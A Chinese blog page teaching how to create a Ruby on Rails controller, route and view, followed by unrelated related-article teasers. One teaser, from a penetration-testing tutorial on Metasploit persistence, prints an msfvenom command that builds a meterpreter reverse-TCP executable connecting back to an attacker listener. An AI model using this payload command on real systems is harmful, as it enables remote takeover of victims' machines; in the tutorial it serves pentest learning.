创建和认识Ruby On Rails控制器

创建和认识Ruby On Rails控制器


我们都知道Ruby On Rails是一个MVC结构的框架。必然他的控制器,视图,数据都是分开的,我们将对他们进行分解,逐个了解他们。首先我们使用命令先创建一个控制器:
注意:控制器名和方法名称请使用小写

# bin/rails generate 控制器名称 方法名称 --skip-routes
bin/rails generate articles index --skip-routes

执行结果:

      create  app/controllers/articles_controller.rbinvoke  erbcreate    app/views/articlescreate    app/views/articles/Index.html.erbinvoke  test_unitcreate    test/controllers/articles_controller_test.rbinvoke  helpercreate    app/helpers/articles_helper.rbinvoke    test_unit

通过执行脚本,rails框架已经为我们创建了一个控制器所需要的完整文件。
控制器文件:app/controllers/Articles_controller.rb
视图文件:app/views/Articles/index.html.erb
单元测试文件:test/controllers/Articles_controller_test.rb

因为我们想要自己添加路由,所以创建的时候使用了 –skip-routes参数。接下来我们自己添加路由,在编辑器中打开 config/routes.rb 文件,在 do 到 end 之间添加 get ‘articles/index’

Rails.application.routes.draw doget 'articles/index'# For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
end

可以使用命令启动服务进行检查。

bin/rails server

当我们看到以下返回时,服务器成功启动,你可以在浏览器中请求 http://localhost:3000 访问刚刚创建的请求。

=> Booting Puma
=> Rails 7.1.3.2 application starting in development
=> Run `bin/rails server --help` for more startup options
Puma starting in single mode...
* Puma version: 6.4.2 (ruby 3.1.2-p20) ("The Eagle of Durango")
*  Min threads: 5
*  Max threads: 5
*  Environment: development
*          PID: 108
* Listening on http://127.0.0.1:3000
* Listening on http://[::1]:3000
Use Ctrl-C to stop

打开app/controllers/articles_controller.rb控制器文件,我们查看一下他的代码。

class ArticlesController < ApplicationControllerdef indexend
end

打开视图文件app/views/Articles/index.html.erb:

<h1>Articles#index</h1>
<p>Find me in app/views/articles/index.html.erb</p>

控制器 ArticlesController 继承于 ApplicationController,他只有一个方法 index。里没没有任何别的代码。什么代码都没有书写,但是框架自动为我们渲染了对应的视图文件。为什么会是这样子?因为 Ruby On Rails 框架是一个约定优先于配置的 MVC 结构的框架,使用约定来代替XML配置文件说明Rails本身完成了大量的底层工作,这意味着使用更少的代码来实现应用程序是极有可能的。此外,代码量的缩减也减小了出现bug的可能性,降低了维护程序和升级程序的难度。

所以后面使用 Ruby On Rails 框架进行应用开发时,他将有助于帮助我们使用更少的代码实现更健壮的程序。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/749445.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C语言】【时间复杂度】Leetcode 153. 寻找旋转排序数组中的最小值

文章目录 题目时间复杂度概念时间复杂度的计算 解题思路代码呈现 题目 链接: link 时间复杂度 概念 时间复杂度是一种函数&#xff0c;定量地描述了该算法运行的时间。既然是一种函数&#xff0c;就涉及到自变量与因变量。因变量代表是时间复杂的规模&#xff0c;自变量是…

易方达产品亏损仍存,“老鼠仓”阴影犹在,如何突出重围?

近日&#xff0c;易方达基金宣布易方达沪深300 ETF跻身“千亿规模ETF”行列&#xff0c;成为国内“ETF千亿俱乐部”的第三位成员。截至3月8日&#xff0c;该基金的规模增长112.21亿元&#xff0c;涨幅9.45%&#xff0c;规模增量在10亿以上的股票型ETF产品中排名第一。 回望202…

小兔鲜鲜项目(前端vue3)

成果图 大家喜欢给一个赞被&#xff0c; 项目地址&#xff1a;gitee 注意&#xff1a;项目克隆下去之后先运行 npm i之后安装项目插件包之后在npm run dev 运行就可以了

华为交换机端口类型:Access、Trunk、Hybrid

华为交换机端口类型&#xff1a;Access、Trunk、Hybrid 接入端口&#xff08;Access Port&#xff09; Access 端口是交换机上用来连接用户主机的端口&#xff0c;它只能连接接入链路。 只允许一个VLAN 的帧通过&#xff0c;该VLAN 即为接入端口的默认VLAN。 干道端口&#x…

友塔游戏测试开发笔面经验

题目一 给定任意非负整数M&#xff0c;判断其能否表达为 M 2 ^a 2 ^b(a和b为非负整数)&#xff0c;若可以输出a和b&#xff0c;若不能输出-1&#xff1b; 例如&#xff1a; 输入&#xff1a;6 输出: “1 2” 分析&#xff1a; void findAB(int M){} 为解决问题的主函数 …

Avalonia学习1:下载通用皮肤SukiUI,并在windows上启动成功

目录 1、引言 2、碰到的问题 1、下载下拉VS2022老版本的用不了。 2、升级后&#xff0c;发现没有装wsl&#xff0c;导致启动不了&#xff0c;但wsl又由于国内的关系安装不了&#xff0c;怎么办呢&#xff0c; 1、引言 最近在想有没有什么可以开发在Linux下运行…

dp动态规划的基本

在平时刷题的过程中&#xff0c;总会有一些题目让人无法下手&#xff0c;比如什么最长上升子序列&#xff0c;最长公共子序列&#xff0c;01背包…当你去了解它时&#xff0c;你会知道它们叫一个统一的名字 ----动态规划&#xff08;dp&#xff09;,这是什么东西&#xff1f;&a…

24计算机考研调剂 | 哈尔滨理工大学

中科院系统单位&#xff08;自动化学科&#xff09;与哈尔滨理工大学联合培养招收调剂生 考研调剂招生信息 学校:哈尔滨理工大学 专业:工学->计算机科学与技术 工学->控制科学与工程 工学->软件工程 年级:2024 招生人数:4 招生状态:正在招生中 联系方式:******…

SQLite数据库使用指南以及相关API编程

SQLite介绍 SQLite是一种基于C语言开发的轻量级、快速、自包含、高可靠性和全功能的SQL数据库引擎。它是全球范围内使用最为广泛的数据库引擎&#xff0c;被嵌入到所有移动设备和大部分计算机中&#xff0c;并且伴随着无数日常使用的应用程序一起提供。SQLite的文件格式具有稳…

渗透测试框架权限维持技术——Persistence模块

测试环境&#xff1a; kali win7 测试步骤&#xff1a; 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址&#xff08;kali地址&#xff09; lport 监听端口&#xf…

Pikachu 靶场搭建

文章目录 环境说明1 Pikachu 简介2 Pikachu 安装 环境说明 操作系统&#xff1a;Windows 10PHPStudy 版本: 8.1.1.3Apache 版本&#xff1a;2.4.39MySQL 版本 5.7.26 1 Pikachu 简介 Pikachu是一个使用“PHP MySQL” 开发、包含常见的Web安全漏洞、适合Web渗透测试学习人员练…

面向对象的特征

封装、继承和多态。 访问修饰符范围private类内default包内protected包内&#xff0c;非同包子类public公共的 封装 封装是将对象的状态信息隐藏在对象内部&#xff0c;不允许外部程序直接访问到对象内部信息&#xff0c;通过该类中的方法对内部信息进行操作和访问。 继承 继…

如何在数据库中使用sql语言插入数据

在SQL中&#xff0c;你可以使用INSERT INTO语句来添加数据到数据库表中。以下是一个基本示例&#xff0c;说明如何向表中插入数据&#xff1a; 假设你有一个名为students的表&#xff0c;它有以下字段&#xff1a;id, name, age 和 grade。 CREATE TABLE students ( id INT P…

Leet code 179 最大数

解题思路 贪心算法 贪心算法就是走一步看一步 每一步都取当前位置的最优解 这题我们该如何贪呢&#xff1f; 我们先把int数组转换为string数组 以示例2为例 3 30 34 5 9 排序哪个在前哪个在后&#xff1f; 3 30 &#xff08;330&#xff09;> 30 3 &#xff08;30…

【Poi-tl Documentation】区块对标签显示隐藏改造

前置说明&#xff1a; <dependency><groupId>com.deepoove</groupId><artifactId>poi-tl</artifactId><version>1.12.1</version> </dependency>模板&#xff1a; 删除行表格测试.docx 改造前测试效果 package run.siyuan…

宠物疾病 与 光线疗法

人类与动物以及大自然是相辅相成的。人离开动物将无法生存&#xff0c;对于动物我们尽力去保护&#xff0c;与大自然和谐稳定生存发展。 生息在地球上的所有动物、在自然太阳光奇妙的作用下、生长发育。太阳光的能量使它们不断进化、繁衍种族。现在、生物能够生存、全仰仗于太…

【Python使用】python高级进阶知识md总结第4篇:静态Web服务器-命令行启动动态绑定端口号,html 的介绍【附代码文档】

python高级进阶全知识知识笔记总结完整教程&#xff08;附代码资料&#xff09;主要内容讲述&#xff1a;操作系统&#xff0c;虚拟机软件&#xff0c;Ubuntu操作系统&#xff0c;Linux内核及发行版&#xff0c;查看目录命令&#xff0c;切换目录命令&#xff0c;绝对路径和相对…

Linux 安装 Gitblit

1.下载Gitblit 官网地址&#xff1a;Gitblit&#xff0c;目前最新的是1.9.3 2.上传到服务器 ①在服务器上新建目录&#xff1a;/usr/local/gitblit ②将下载的文件上传到服务器&#xff1a;/usr/local/gitblit/gitblit-1.9.3.tar.gz ③解压文件&#xff1a; cd /usr/local…

12、MongoDB -- 通过 SpringBoot 整合 Spring Data MongoDB 操作 MongoDB 数据库(传统的同步API编程)

目录 通过 SpringBoot 整合 Spring Data MongoDB 操作 MongoDB 数据库&#xff08;传统的同步API编程&#xff09;演示前提&#xff1a;登录单机模式的 mongodb 服务器命令登录【test】数据库的 mongodb 客户端命令登录【admin】数据库的 mongodb 客户端命令 代码演示同步API编…

加速数字化金融转型,小赢卡贷创新服务中小微企业

自2013年党的十八届三中全会正式提出“发展普惠金融”以来,我国普惠金融事业取得了长足发展,但在新发展形势下,普惠金融发展仍面临诸多问题和挑战。 为构建高水平普惠金融体系,进一步推进普惠金融高质量发展,去年10月,国务院印发《关于推进普惠金融高质量发展的实施意见》,意见…